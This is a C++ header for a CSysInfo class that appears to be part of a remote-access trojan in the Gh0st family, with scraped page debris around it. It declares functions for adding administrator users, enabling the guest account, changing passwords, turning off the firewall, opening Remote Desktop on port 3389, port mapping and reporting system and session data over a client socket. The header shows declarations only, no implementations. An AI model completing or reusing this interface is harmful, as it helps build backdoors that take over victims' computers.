66 lines
2.1 KiB
C++
66 lines
2.1 KiB
C++
// SysInfo.h: interface for the CSysInfo class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#if !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_)
|
|
#define AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
#include "../Manager.h"
|
|
#include "ZXPortMap.h"
|
|
|
|
class CSysInfo : public CManager
|
|
{
|
|
public:
|
|
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
|
DWORD ChangePort(LPVOID lparam);
|
|
DWORD StopFire();
|
|
void AddAdminUser();
|
|
void DeleteUser();
|
|
BOOL OpenGuest();
|
|
void ChangeUserPass();
|
|
BOOL DelUserName(char *user);
|
|
BOOL DelSidName(char *sid);
|
|
void Close3389();
|
|
DWORD Open3389(LPVOID lparam);
|
|
CZXPortMap cPortMap;
|
|
DWORD nCtrlPort, nPort;
|
|
TCHAR m_strCurrentProcessFileNames[MAX_PATH]; // 当前正在处理的文件
|
|
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
|
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
|
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
|
void GetFileData();
|
|
void GetOpenFile();
|
|
static DWORD WINAPI PortMap(LPVOID lparam);
|
|
void SendSysInfo();
|
|
void SendInstallInfo();
|
|
LPBYTE getWtsmList();
|
|
LPBYTE getSList();
|
|
LPBYTE getMeritListo();
|
|
void SendWtsmList();
|
|
void SendSList();
|
|
char* GetTSClientName(DWORD sessionID);
|
|
char* GetTSClientProtocolType(DWORD sessionID);
|
|
void GetSystemInfo(tagSystemInfo1* pSysInfo);
|
|
void GetOnlineInfo(tagOnlineInfo* pInsInfo);
|
|
void WtsLoGoff(LPBYTE lpBuffer, UINT nSize);
|
|
void WtsDisc(LPBYTE lpBuffer, UINT nSize);
|
|
void SendNetstart(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //帐户启用 停止
|
|
// CSysInfo(CClientSocket *pClient);
|
|
CSysInfo(CClientSocket *pClient,UINT Ports,UCHAR Linetypes,UCHAR Opertypes,CHAR *Addressl);
|
|
|
|
virtual ~CSysInfo();
|
|
void SendMeritListo(); //功能状态
|
|
void SendMeritart(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //功能启用/禁用
|
|
private:
|
|
UINT NetPort; //连接端口
|
|
UCHAR NetLine; //连接方式
|
|
UCHAR NetOpert; //运行类型
|
|
CHAR *Linkaddress; //连接地址
|
|
};
|
|
|
|
#endif // !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_)
|